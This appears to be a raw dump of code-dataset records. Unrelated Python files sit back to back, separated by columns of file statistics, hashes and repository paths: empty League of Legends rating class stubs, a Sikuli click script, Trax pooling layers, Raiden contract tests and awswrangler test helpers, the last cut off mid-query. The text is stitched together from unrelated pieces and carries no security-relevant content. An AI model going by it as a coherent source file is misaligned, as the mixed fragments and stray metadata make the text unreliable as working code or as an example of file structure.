class NA_JarvanIV_Jng_Xerath(Ratings):
pass
class NA_JarvanIV_Jng_XinZhao(Ratings):
pass
class NA_JarvanIV_Jng_Yasuo(Ratings):
pass
class NA_JarvanIV_Jng_Yorick(Ratings):
pass
class NA_JarvanIV_Jng_Zac(Ratings):
pass
class NA_JarvanIV_Jng_Zed(Ratings):
pass
class NA_JarvanIV_Jng_Ziggs(Ratings):
pass
class NA_JarvanIV_Jng_Zilean(Ratings):
pass
class NA_JarvanIV_Jng_Zyra(Ratings):
pass
| 16.357314
| 46
| 0.776133
| 972
| 6,821
| 5.020576
| 0.151235
| 0.197951
| 0.42418
| 0.509016
| 0.814139
| 0.814139
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162879
| 6,821
| 416
| 47
| 16.396635
| 0.854641
| 0
| 0
| 0.498195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
bc3efdc61d000492e6f473f37bafb882cb6d04bf
| 26
|
py
|
Python
|
tools/Sikuli/ClickToVspomogatelnayaTab.sikuli/ClickToVspomogatelnayaTab.py
|
marmyshev/vanessa-automation
|
9f87bd6df58b4c205104d3ae8e3643752d67eef7
|
[
"BSD-3-Clause"
] | 296
|
2018-05-27T08:03:14.000Z
|
2022-03-19T08:36:11.000Z
|
tools/Sikuli/ClickToVspomogatelnayaTab.sikuli/ClickToVspomogatelnayaTab.py
|
marmyshev/vanessa-automation
|
9f87bd6df58b4c205104d3ae8e3643752d67eef7
|
[
"BSD-3-Clause"
] | 1,562
|
2018-05-27T18:36:25.000Z
|
2022-03-31T07:35:11.000Z
|
tools/Sikuli/ClickToVspomogatelnayaTab.sikuli/ClickToVspomogatelnayaTab.py
|
marmyshev/vanessa-automation
|
9f87bd6df58b4c205104d3ae8e3643752d67eef7
|
[
"BSD-3-Clause"
] | 299
|
2018-06-18T20:00:56.000Z
|
2022-03-29T12:29:55.000Z
|
click("1538754420263.png")
| 26
| 26
| 0.807692
| 3
| 26
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 0
| 26
| 1
| 26
| 26
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0.62963
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bc403a4b8b16c4c6b30ec82a01a4e757087f1661
| 6,269
|
py
|
Python
|
loldib/getratings/models/NA/na_ashe/na_ashe_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_ashe/na_ashe_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_ashe/na_ashe_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_Ashe_Top_Aatrox(Ratings):
pass
class NA_Ashe_Top_Ahri(Ratings):
pass
class NA_Ashe_Top_Akali(Ratings):
pass
class NA_Ashe_Top_Alistar(Ratings):
pass
class NA_Ashe_Top_Amumu(Ratings):
pass
class NA_Ashe_Top_Anivia(Ratings):
pass
class NA_Ashe_Top_Annie(Ratings):
pass
class NA_Ashe_Top_Ashe(Ratings):
pass
class NA_Ashe_Top_AurelionSol(Ratings):
pass
class NA_Ashe_Top_Azir(Ratings):
pass
class NA_Ashe_Top_Bard(Ratings):
pass
class NA_Ashe_Top_Blitzcrank(Ratings):
pass
class NA_Ashe_Top_Brand(Ratings):
pass
class NA_Ashe_Top_Braum(Ratings):
pass
class NA_Ashe_Top_Caitlyn(Ratings):
pass
class NA_Ashe_Top_Camille(Ratings):
pass
class NA_Ashe_Top_Cassiopeia(Ratings):
pass
class NA_Ashe_Top_Chogath(Ratings):
pass
class NA_Ashe_Top_Corki(Ratings):
pass
class NA_Ashe_Top_Darius(Ratings):
pass
class NA_Ashe_Top_Diana(Ratings):
pass
class NA_Ashe_Top_Draven(Ratings):
pass
class NA_Ashe_Top_DrMundo(Ratings):
pass
class NA_Ashe_Top_Ekko(Ratings):
pass
class NA_Ashe_Top_Elise(Ratings):
pass
class NA_Ashe_Top_Evelynn(Ratings):
pass
class NA_Ashe_Top_Ezreal(Ratings):
pass
class NA_Ashe_Top_Fiddlesticks(Ratings):
pass
class NA_Ashe_Top_Fiora(Ratings):
pass
class NA_Ashe_Top_Fizz(Ratings):
pass
class NA_Ashe_Top_Galio(Ratings):
pass
class NA_Ashe_Top_Gangplank(Ratings):
pass
class NA_Ashe_Top_Garen(Ratings):
pass
class NA_Ashe_Top_Gnar(Ratings):
pass
class NA_Ashe_Top_Gragas(Ratings):
pass
class NA_Ashe_Top_Graves(Ratings):
pass
class NA_Ashe_Top_Hecarim(Ratings):
pass
class NA_Ashe_Top_Heimerdinger(Ratings):
pass
class NA_Ashe_Top_Illaoi(Ratings):
pass
class NA_Ashe_Top_Irelia(Ratings):
pass
class NA_Ashe_Top_Ivern(Ratings):
pass
class NA_Ashe_Top_Janna(Ratings):
pass
class NA_Ashe_Top_JarvanIV(Ratings):
pass
class NA_Ashe_Top_Jax(Ratings):
pass
class NA_Ashe_Top_Jayce(Ratings):
pass
class NA_Ashe_Top_Jhin(Ratings):
pass
class NA_Ashe_Top_Jinx(Ratings):
pass
class NA_Ashe_Top_Kalista(Ratings):
pass
class NA_Ashe_Top_Karma(Ratings):
pass
class NA_Ashe_Top_Karthus(Ratings):
pass
class NA_Ashe_Top_Kassadin(Ratings):
pass
class NA_Ashe_Top_Katarina(Ratings):
pass
class NA_Ashe_Top_Kayle(Ratings):
pass
class NA_Ashe_Top_Kayn(Ratings):
pass
class NA_Ashe_Top_Kennen(Ratings):
pass
class NA_Ashe_Top_Khazix(Ratings):
pass
class NA_Ashe_Top_Kindred(Ratings):
pass
class NA_Ashe_Top_Kled(Ratings):
pass
class NA_Ashe_Top_KogMaw(Ratings):
pass
class NA_Ashe_Top_Leblanc(Ratings):
pass
class NA_Ashe_Top_LeeSin(Ratings):
pass
class NA_Ashe_Top_Leona(Ratings):
pass
class NA_Ashe_Top_Lissandra(Ratings):
pass
class NA_Ashe_Top_Lucian(Ratings):
pass
class NA_Ashe_Top_Lulu(Ratings):
pass
class NA_Ashe_Top_Lux(Ratings):
pass
class NA_Ashe_Top_Malphite(Ratings):
pass
class NA_Ashe_Top_Malzahar(Ratings):
pass
class NA_Ashe_Top_Maokai(Ratings):
pass
class NA_Ashe_Top_MasterYi(Ratings):
pass
class NA_Ashe_Top_MissFortune(Ratings):
pass
class NA_Ashe_Top_MonkeyKing(Ratings):
pass
class NA_Ashe_Top_Mordekaiser(Ratings):
pass
class NA_Ashe_Top_Morgana(Ratings):
pass
class NA_Ashe_Top_Nami(Ratings):
pass
class NA_Ashe_Top_Nasus(Ratings):
pass
class NA_Ashe_Top_Nautilus(Ratings):
pass
class NA_Ashe_Top_Nidalee(Ratings):
pass
class NA_Ashe_Top_Nocturne(Ratings):
pass
class NA_Ashe_Top_Nunu(Ratings):
pass
class NA_Ashe_Top_Olaf(Ratings):
pass
class NA_Ashe_Top_Orianna(Ratings):
pass
class NA_Ashe_Top_Ornn(Ratings):
pass
class NA_Ashe_Top_Pantheon(Ratings):
pass
class NA_Ashe_Top_Poppy(Ratings):
pass
class NA_Ashe_Top_Quinn(Ratings):
pass
class NA_Ashe_Top_Rakan(Ratings):
pass
class NA_Ashe_Top_Rammus(Ratings):
pass
class NA_Ashe_Top_RekSai(Ratings):
pass
class NA_Ashe_Top_Renekton(Ratings):
pass
class NA_Ashe_Top_Rengar(Ratings):
pass
class NA_Ashe_Top_Riven(Ratings):
pass
class NA_Ashe_Top_Rumble(Ratings):
pass
class NA_Ashe_Top_Ryze(Ratings):
pass
class NA_Ashe_Top_Sejuani(Ratings):
pass
class NA_Ashe_Top_Shaco(Ratings):
pass
class NA_Ashe_Top_Shen(Ratings):
pass
class NA_Ashe_Top_Shyvana(Ratings):
pass
class NA_Ashe_Top_Singed(Ratings):
pass
class NA_Ashe_Top_Sion(Ratings):
pass
class NA_Ashe_Top_Sivir(Ratings):
pass
class NA_Ashe_Top_Skarner(Ratings):
pass
class NA_Ashe_Top_Sona(Ratings):
pass
class NA_Ashe_Top_Soraka(Ratings):
pass
class NA_Ashe_Top_Swain(Ratings):
pass
class NA_Ashe_Top_Syndra(Ratings):
pass
class NA_Ashe_Top_TahmKench(Ratings):
pass
class NA_Ashe_Top_Taliyah(Ratings):
pass
class NA_Ashe_Top_Talon(Ratings):
pass
class NA_Ashe_Top_Taric(Ratings):
pass
class NA_Ashe_Top_Teemo(Ratings):
pass
class NA_Ashe_Top_Thresh(Ratings):
pass
class NA_Ashe_Top_Tristana(Ratings):
pass
class NA_Ashe_Top_Trundle(Ratings):
pass
class NA_Ashe_Top_Tryndamere(Ratings):
pass
class NA_Ashe_Top_TwistedFate(Ratings):
pass
class NA_Ashe_Top_Twitch(Ratings):
pass
class NA_Ashe_Top_Udyr(Ratings):
pass
class NA_Ashe_Top_Urgot(Ratings):
pass
class NA_Ashe_Top_Varus(Ratings):
pass
class NA_Ashe_Top_Vayne(Ratings):
pass
class NA_Ashe_Top_Veigar(Ratings):
pass
class NA_Ashe_Top_Velkoz(Ratings):
pass
class NA_Ashe_Top_Vi(Ratings):
pass
class NA_Ashe_Top_Viktor(Ratings):
pass
class NA_Ashe_Top_Vladimir(Ratings):
pass
class NA_Ashe_Top_Volibear(Ratings):
pass
class NA_Ashe_Top_Warwick(Ratings):
pass
class NA_Ashe_Top_Xayah(Ratings):
pass
class NA_Ashe_Top_Xerath(Ratings):
pass
class NA_Ashe_Top_XinZhao(Ratings):
pass
class NA_Ashe_Top_Yasuo(Ratings):
pass
class NA_Ashe_Top_Yorick(Ratings):
pass
class NA_Ashe_Top_Zac(Ratings):
pass
class NA_Ashe_Top_Zed(Ratings):
pass
class NA_Ashe_Top_Ziggs(Ratings):
pass
class NA_Ashe_Top_Zilean(Ratings):
pass
class NA_Ashe_Top_Zyra(Ratings):
pass
| 15.033573
| 46
| 0.75642
| 972
| 6,269
| 4.452675
| 0.151235
| 0.223198
| 0.350739
| 0.446396
| 0.791359
| 0.791359
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177221
| 6,269
| 416
| 47
| 15.069712
| 0.839085
| 0
| 0
| 0.498195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
bc51bb9cd16c2096246912547271549df21671c1
| 110
|
py
|
Python
|
deeptensor/summary/__init__.py
|
cicicici/deeptensor
|
efcd7b9ca2d758cb2461b64fa5ba1268685e4dab
|
[
"MIT"
] | 1
|
2018-04-04T09:00:45.000Z
|
2018-04-04T09:00:45.000Z
|
deeptensor/summary/__init__.py
|
cicicici/deeptensor
|
efcd7b9ca2d758cb2461b64fa5ba1268685e4dab
|
[
"MIT"
] | null | null | null |
deeptensor/summary/__init__.py
|
cicicici/deeptensor
|
efcd7b9ca2d758cb2461b64fa5ba1268685e4dab
|
[
"MIT"
] | null | null | null |
from .summary import patch_add_dt, patch_clear_dt, summary_model_patch, summary_model_fwd, summary_model_wass
| 55
| 109
| 0.881818
| 18
| 110
| 4.833333
| 0.555556
| 0.413793
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072727
| 110
| 1
| 110
| 110
| 0.852941
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
bc67f4523a9accfcbeba8b4e99b2ef2984093c9b
| 5,477
|
py
|
Python
|
trax/layers/pooling.py
|
tomweingarten/trax
|
e5c99ed35692eba854283304c5f91fa4304e98a5
|
[
"Apache-2.0"
] | 1
|
2021-04-05T09:55:37.000Z
|
2021-04-05T09:55:37.000Z
|
trax/layers/pooling.py
|
e7dud7e/trax
|
20ee40ff9c7c55ba8507a71967806a4438f587e7
|
[
"Apache-2.0"
] | null | null | null |
trax/layers/pooling.py
|
e7dud7e/trax
|
20ee40ff9c7c55ba8507a71967806a4438f587e7
|
[
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# Copyright 2020 The Trax Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Lint as: python3
"""Trax pooling layers."""
from trax import math
from trax.layers.base import Fn
# pylint: disable=invalid-name
def MaxPool(pool_size=(2, 2), strides=None, padding='VALID'):
"""Reduces each multi-dimensional window to the max of the window's values.
Windows, as specified by `pool_size` and `strides`, involve all axes of an
n-dimensional array except the first and last: :math:`(d_1, ..., d_{n-2})`
from shape :math:`(d_0, d_1, ..., d_{n-2}, d_{n-1})`.
Args:
pool_size: Shape of window that gets reduced to a single vector value.
If the layer inputs are :math:`n`-dimensional arrays, then `pool_size`
must be a tuple of length :math:`n-2`.
strides: Offsets from the location of one window to the locations of
neighboring windows along each axis. If specified, must be a tuple of
the same length as `pool_size`. If None, then offsets of 1 along each
window axis, :math:`(1, ..., 1)`, will be used.
padding: 'VALID' or 'SAME'. If 'VALID', no padding is done, and only
full windows get reduced; partial windows are discarded. If 'SAME',
padding is added at array edges as needed to avoid partial windows
but does not otherwise affect the selection of max values.
Returns:
N-dimensional array in which each valid (or padded-valid) window position
in the input is reduced to / replaced by the max value from that window.
An output array has the same number of dimensions as its input, but has
fewer elements.
"""
layer_name = f'MaxPool{pool_size}'.replace(' ', '')
def f(x):
return math.max_pool(
x, pool_size=pool_size, strides=strides, padding=padding)
return Fn(layer_name, f)
def SumPool(pool_size=(2, 2), strides=None, padding='VALID'):
"""Reduces each multi-dimensional window to the sum of the window's values.
Windows, as specified by `pool_size` and `strides`, involve all axes of an
n-dimensional array except the first and last: :math:`(d_1, ..., d_{n-2})`
from shape :math:`(d_0, d_1, ..., d_{n-2}, d_{n-1})`.
Args:
pool_size: Shape of window that gets reduced to a single vector value.
If the layer inputs are :math:`n`-dimensional arrays, then `pool_size`
must be a tuple of length :math:`n-2`.
strides: Offsets from the location of one window to the locations of
neighboring windows along each axis. If specified, must be a tuple of
the same length as `pool_size`. If None, then offsets of 1 along each
window axis, :math:`(1, ..., 1)`, will be used.
padding: 'VALID' or 'SAME'. If 'VALID', no padding is done, and only
full windows get reduced; partial windows are discarded. If 'SAME',
padding is added at array edges as needed to avoid partial
windows but does not otherwise affect the computation of sums.
Returns:
N-dimensional array in which each valid (or padded-valid) window position
in the input is reduced to / replaced by the sum of values in that window.
An output array has the same number of dimensions as its input, but has
fewer elements.
"""
layer_name = f'SumPool{pool_size}'.replace(' ', '')
def f(x):
return math.sum_pool(
x, pool_size=pool_size, strides=strides, padding=padding)
return Fn(layer_name, f)
def AvgPool(pool_size=(2, 2), strides=None, padding='VALID'):
"""Reduces each multi-dimensional window to the mean of the window's values.
Windows, as specified by `pool_size` and `strides`, involve all axes of an
n-dimensional array except the first and last: :math:`(d_1, ..., d_{n-2})`
from shape :math:`(d_0, d_1, ..., d_{n-2}, d_{n-1})`.
Args:
pool_size: Shape of window that gets reduced to a single vector value.
If the layer inputs are :math:`n`-dimensional arrays, then `pool_size`
must be a tuple of length :math:`n-2`.
strides: Offsets from the location of one window to the locations of
neighboring windows along each axis. If specified, must be a tuple of
the same length as `pool_size`. If None, then offsets of 1 along each
window axis, :math:`(1, ..., 1)`, will be used.
padding: 'VALID' or 'SAME'. If 'VALID', no padding is done, and only
full windows get reduced; partial windows are discarded. If 'SAME',
padding is added at array edges as needed but is not counted in the
computation of averages.
Returns:
N-dimensional array in which each valid (or padded-valid) window position
in the input is reduced to / replaced by the mean of values in that window.
An output array has the same number of dimensions as its input, but has
fewer elements.
"""
layer_name = f'AvgPool{pool_size}'.replace(' ', '')
def f(x):
return math.avg_pool(
x, pool_size=pool_size, strides=strides, padding=padding)
return Fn(layer_name, f)
| 45.264463
| 79
| 0.691072
| 887
| 5,477
| 4.209696
| 0.198422
| 0.051419
| 0.017675
| 0.006427
| 0.80932
| 0.80932
| 0.80932
| 0.80932
| 0.785217
| 0.785217
| 0
| 0.010683
| 0.213803
| 5,477
| 120
| 80
| 45.641667
| 0.856479
| 0.818514
| 0
| 0.45
| 0
| 0
| 0.086852
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0
| 0.1
| 0.15
| 0.7
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 10
|
bc9c6b2c4e17b4f172efecd0eb16591b449aaa60
| 1,511
|
py
|
Python
|
raiden_contracts/tests/unit/test_unit_internals.py
|
konradkonrad/raiden-contracts
|
5726f744e8d7e80f7ca61401bd3f1084de57e30c
|
[
"MIT"
] | null | null | null |
raiden_contracts/tests/unit/test_unit_internals.py
|
konradkonrad/raiden-contracts
|
5726f744e8d7e80f7ca61401bd3f1084de57e30c
|
[
"MIT"
] | null | null | null |
raiden_contracts/tests/unit/test_unit_internals.py
|
konradkonrad/raiden-contracts
|
5726f744e8d7e80f7ca61401bd3f1084de57e30c
|
[
"MIT"
] | null | null | null |
from itertools import chain, product
import pytest
from eth_tester.constants import UINT256_MIN, UINT256_MAX
from web3.exceptions import ValidationError
def test_min_uses_usigned(token_network_test_utils):
""" Min cannot be called with negative values. """
INVALID_VALUES = [-UINT256_MAX, -1]
VALID_VALUES = [UINT256_MIN, UINT256_MAX, UINT256_MAX]
all_invalid = chain(
product(VALID_VALUES, INVALID_VALUES),
product(INVALID_VALUES, VALID_VALUES),
)
for a, b in all_invalid:
with pytest.raises(ValidationError):
token_network_test_utils.functions.minPublic(a, b).call()
def test_max_uses_usigned(token_network_test_utils):
INVALID_VALUES = [-UINT256_MAX, -1]
VALID_VALUES = [UINT256_MIN, UINT256_MAX, UINT256_MAX]
all_invalid = chain(
product(VALID_VALUES, INVALID_VALUES),
product(INVALID_VALUES, VALID_VALUES),
)
for a, b in all_invalid:
with pytest.raises(ValidationError):
token_network_test_utils.functions.maxPublic(a, b).call()
def test_min(token_network_test_utils):
VALUES = [UINT256_MIN, 1, UINT256_MAX, UINT256_MAX]
for a, b in product(VALUES, VALUES):
assert token_network_test_utils.functions.minPublic(a, b).call() == min(a, b)
def test_max(token_network_test_utils):
VALUES = [UINT256_MIN, 1, UINT256_MAX, UINT256_MAX]
for a, b in product(VALUES, VALUES):
assert token_network_test_utils.functions.maxPublic(a, b).call() == max(a, b)
| 30.836735
| 85
| 0.717406
| 206
| 1,511
| 4.946602
| 0.203884
| 0.107949
| 0.125613
| 0.164868
| 0.802748
| 0.789009
| 0.726202
| 0.726202
| 0.726202
| 0.667321
| 0
| 0.043195
| 0.187955
| 1,511
| 48
| 86
| 31.479167
| 0.787286
| 0.027796
| 0
| 0.5625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 1
| 0.125
| false
| 0
| 0.125
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
bc9dd3f75b3bf9d8c9a6bda2cb124e0ba223826b
| 33,260
|
py
|
Python
|
tests/_utils.py
|
bharatkumar9/AWSWrangler
|
9b27d238f34d6245244c84d942e9bef002c399a2
|
[
"Apache-2.0"
] | null | null | null |
tests/_utils.py
|
bharatkumar9/AWSWrangler
|
9b27d238f34d6245244c84d942e9bef002c399a2
|
[
"Apache-2.0"
] | 19
|
2021-09-20T08:21:22.000Z
|
2022-03-28T08:28:44.000Z
|
tests/_utils.py
|
bharatkumar9/AWSWrangler
|
9b27d238f34d6245244c84d942e9bef002c399a2
|
[
"Apache-2.0"
] | null | null | null |
import random
import time
from datetime import datetime
from decimal import Decimal
from typing import Iterator
import boto3
import botocore.exceptions
import pandas as pd
import awswrangler as wr
from awswrangler._utils import try_it
ts = lambda x: datetime.strptime(x, "%Y-%m-%d %H:%M:%S.%f") # noqa
dt = lambda x: datetime.strptime(x, "%Y-%m-%d").date() # noqa
CFN_VALID_STATUS = ["CREATE_COMPLETE", "ROLLBACK_COMPLETE", "UPDATE_COMPLETE", "UPDATE_ROLLBACK_COMPLETE"]
def get_df(governed=False):
df = pd.DataFrame(
{
"iint8": [1, None, 2],
"iint16": [1, None, 2],
"iint32": [1, None, 2],
"iint64": [1, None, 2],
"float": [0.0, None, 1.1],
"ddouble": [0.0, None, 1.1],
"decimal": [Decimal((0, (1, 9, 9), -2)), None, Decimal((0, (1, 9, 0), -2))],
"string_object": ["foo", None, "boo"],
"string": ["foo", None, "boo"],
"date": [dt("2020-01-01"), None, dt("2020-01-02")],
"timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")],
"bool": [True, None, False],
"binary": [b"0", None, b"1"],
"category": [1.0, None, 2.0],
"par0": [1, 1, 2],
"par1": ["a", "b", "b"],
}
)
df["iint8"] = df["iint8"].astype("Int8")
df["iint16"] = df["iint16"].astype("Int16")
df["iint32"] = df["iint32"].astype("Int32")
df["iint64"] = df["iint64"].astype("Int64")
df["float"] = df["float"].astype("float32")
df["string"] = df["string"].astype("string")
df["category"] = df["category"].astype("category")
if governed:
df = df.drop(["iint8", "binary"], axis=1) # tinyint & binary currently not supported
return df
def get_df_list(governed=False):
df = pd.DataFrame(
{
"iint8": [1, None, 2],
"iint16": [1, None, 2],
"iint32": [1, None, 2],
"iint64": [1, None, 2],
"float": [0.0, None, 1.1],
"ddouble": [0.0, None, 1.1],
"decimal": [Decimal((0, (1, 9, 9), -2)), None, Decimal((0, (1, 9, 0), -2))],
"string_object": ["foo", None, "boo"],
"string": ["foo", None, "boo"],
"date": [dt("2020-01-01"), None, dt("2020-01-02")],
"timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")],
"timestamp2": [ts("2020-01-01 00:00:00.0"), ts("2020-01-02 00:00:01.0"), ts("2020-01-03 00:00:01.0")],
"bool": [True, None, False],
"binary": [b"0", None, b"1"],
"category": [1.0, None, 2.0],
"list": [[1, 2], None, [3, 4]],
"list_list": [[[1, 2], [3, 4]], None, [[5, 6], [7, 8]]],
"par0": [1, 1, 2],
"par1": ["a", "b", "b"],
}
)
df["iint8"] = df["iint8"].astype("Int8")
df["iint16"] = df["iint16"].astype("Int16")
df["iint32"] = df["iint32"].astype("Int32")
df["iint64"] = df["iint64"].astype("Int64")
df["float"] = df["float"].astype("float32")
df["string"] = df["string"].astype("string")
df["category"] = df["category"].astype("category")
if governed:
df = (df.drop(["iint8", "binary"], axis=1),) # tinyint & binary currently not supported
return df
def get_df_cast(governed=False):
df = pd.DataFrame(
{
"iint8": [None, None, None],
"iint16": [None, None, None],
"iint32": [None, None, None],
"iint64": [None, None, None],
"float": [None, None, None],
"ddouble": [None, None, None],
"decimal": [None, None, None],
"string": [None, None, None],
"date": [None, None, dt("2020-01-02")],
"timestamp": [None, None, None],
"timestamp2": [ts("2020-01-01 00:00:00.0"), ts("2020-01-02 00:00:01.0"), ts("2020-01-03 00:00:01.0")],
"bool": [True, None, None],
"binary": [None, None, None],
"category": [None, None, None],
"par0": [1, 1, 2],
"par1": ["a", "b", "b"],
}
)
if governed:
df = (df.drop(["iint8", "binary"], axis=1),) # tinyint & binary currently not supported
return df
def get_df_csv():
df = pd.DataFrame(
{
"id": [1, 2, 3],
"string_object": ["foo", None, "boo"],
"string": ["foo", None, "boo"],
"float": [1.0, None, 2.0],
"int": [1, None, 2],
"date": [dt("2020-01-01"), None, dt("2020-01-02")],
"timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")],
"bool": [True, None, False],
"par0": [1, 1, 2],
"par1": ["a", "b", "b"],
}
)
df["string"] = df["string"].astype("string")
df["int"] = df["int"].astype("Int64")
df["par1"] = df["par1"].astype("string")
return df
def get_df_txt():
df = pd.DataFrame(
{
"col_name": [
"iint8 ",
"iint16 ",
"iint32 ",
"par0 ",
"par1 ",
"",
"# Partition Information",
"# col_name ",
"",
"par0 ",
"par1 ",
],
"data_type": [
"tinyint ",
"smallint ",
"int ",
"bigint ",
"string ",
" ",
" ",
"data_type ",
" ",
"bigint ",
"string ",
],
"comment": [
" ",
" ",
" ",
" ",
" ",
" ",
" ",
"comment ",
" ",
" ",
" ",
],
}
)
return df
def get_df_category():
df = pd.DataFrame(
{
"id": [1, 2, 3],
"string_object": ["foo", None, "boo"],
"string": ["foo", None, "boo"],
"binary": [b"1", None, b"2"],
"float": [1.0, None, 2.0],
"int": [1, None, 2],
"par0": [1, 1, 2],
"par1": ["a", "b", "b"],
}
)
df["string"] = df["string"].astype("string")
df["int"] = df["int"].astype("Int64")
df["par1"] = df["par1"].astype("string")
return df
def get_df_quicksight():
df = pd.DataFrame(
{
"iint8": [1, None, 2],
"iint16": [1, None, 2],
"iint32": [1, None, 2],
"iint64": [1, None, 2],
"float": [0.0, None, 1.1],
"ddouble": [0.0, None, 1.1],
"decimal": [Decimal((0, (1, 9, 9), -2)), None, Decimal((0, (1, 9, 0), -2))],
"string_object": ["foo", None, "boo"],
"string": ["foo", None, "boo"],
"date": [dt("2020-01-01"), None, dt("2020-01-02")],
"timestamp": [ts("2020-01-01 00:00:00.0"), None, ts("2020-01-02 00:00:01.0")],
"bool": [True, None, False],
"category": [1.0, None, 2.0],
"par0": [1, 1, 2],
"par1": ["a", "b", "b"],
}
)
df["iint8"] = df["iint8"].astype("Int8")
df["iint16"] = df["iint16"].astype("Int16")
df["iint32"] = df["iint32"].astype("Int32")
df["iint64"] = df["iint64"].astype("Int64")
df["float"] = df["float"].astype("float32")
df["string"] = df["string"].astype("string")
df["category"] = df["category"].astype("category")
return df
def get_query_long():
return """
SELECT
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
